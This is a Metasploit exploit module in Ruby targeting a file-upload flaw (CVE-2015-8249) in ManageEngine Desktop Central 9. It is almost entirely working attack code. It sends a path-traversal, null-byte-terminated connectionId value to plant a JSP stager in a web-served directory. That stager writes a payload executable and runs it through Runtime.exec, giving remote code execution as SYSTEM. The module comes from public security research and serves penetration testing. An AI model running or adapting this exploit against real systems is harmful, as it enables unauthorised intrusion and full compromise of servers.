ManageEngine Desktop Central 9 FileUploadServlet ConnectionId

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'nokogiri'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in ManageEngine Desktop Central 9. When  
uploading a 7z file, the FileUploadServlet class does not check the user-controlled  
ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to  
inject a null bye at the end of the value to create a malicious file with an arbitrary  
file type, and then place it under a directory that allows server-side scripts to run,  
which results in remote code execution under the context of SYSTEM.  
  
Please note that by default, some ManageEngine Desktop Central versions run on port 8020,  
but older ones run on port 8040. Also, using this exploit will leave debugging information  
produced by FileUploadServlet in file rdslog0.txt.  
  
This exploit was successfully tested on version 9, build 90109 and build 91084.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'sinn3r' ],  
'References' =>  
[  
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ],  
[ 'CVE', '2015-8249']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'ManageEngine Desktop Central 9 on Windows', {} ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'Privileged' => false,  
'DisclosureDate' => "Dec 14 2015",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),  
Opt::RPORT(8020)  
], self.class)  
end  
  
def jsp_drop_bin(bin_data, output_file)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|  
  
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|  
  
jspraw << %Q|int numbytes = data.length();\n|  
  
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|  
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|  
jspraw << %Q|{\n|  
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|  
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|  
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|  
jspraw << %Q| comb <<= 4;\n|  
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|  
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|  
jspraw << %Q|}\n|  
  
jspraw << %Q|outputstream.write(bytes);\n|  
jspraw << %Q|outputstream.close();\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def jsp_execute_command(command)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|try {\n|  
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|  
jspraw << %Q|} catch (IOException ioe) { }\n|  
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def get_jsp_stager  
exe = generate_payload_exe(code: payload.encoded)  
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"  
# pwd: C:\ManageEngine\DesktopCentral_Server\bin  
# targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf  
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")  
  
{  
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),  
jsp_name: jsp_fname  
}  
end  
  
def get_build_number(res)  
inputs = res.get_hidden_inputs  
# The buildNum input is in the first form  
inputs.first['buildNum']  
end  
  
def get_html_title(res)  
html = res.body  
n = ::Nokogiri::HTML(html)  
n.at_xpath('//title').text  
end  
  
def check  
uri = normalize_uri(target_uri.path, '/configurations.do')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res  
vprint_error("Connection timed out")  
return Exploit::CheckCode::Unknown  
end  
  
build_number = get_build_number(res)  
vprint_status("Found build number: #{build_number}")  
  
html_title = get_html_title(res)  
vprint_status("Found title: #{html_title}")  
  
if build_number <= '91084'  
return Exploit::CheckCode::Appears  
elsif /ManageEngine Desktop Central/ === html_title  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
def upload_jsp(stager_info)  
# connectionId is part of the 7z filename  
# computerName is part of the 7z filename (but will be used due to the null byte injection)  
# customerId is used as a directory name  
#  
# The intended upload path is:  
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z  
# But this will upload to:  
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf  
  
uri = normalize_uri(target_uri.path, 'fileupload')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => 'application/octet-stream',  
'encode_params' => false,  
'data' => stager_info[:jsp_payload],  
'vars_get' => {  
'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",  
'resourceId' => Rex::Text.rand_text_alpha(1),  
'action' => 'rds_file_upload',  
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),  
'customerId' => Rex::Text.rand_text_numeric(rand(10)+5)  
}  
})  
  
if res.nil?  
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")  
elsif res && res.code != 200  
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")  
end  
end  
  
def exec_jsp(stager_info)  
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res.nil?  
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")  
elsif res && res.code != 200  
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")  
end  
end  
  
def exploit  
print_status("Creating JSP stager")  
stager_info = get_jsp_stager  
  
print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")  
upload_jsp(stager_info)  
  
print_status("Executing stager...")  
exec_jsp(stager_info)  
end  
  
end  
  
`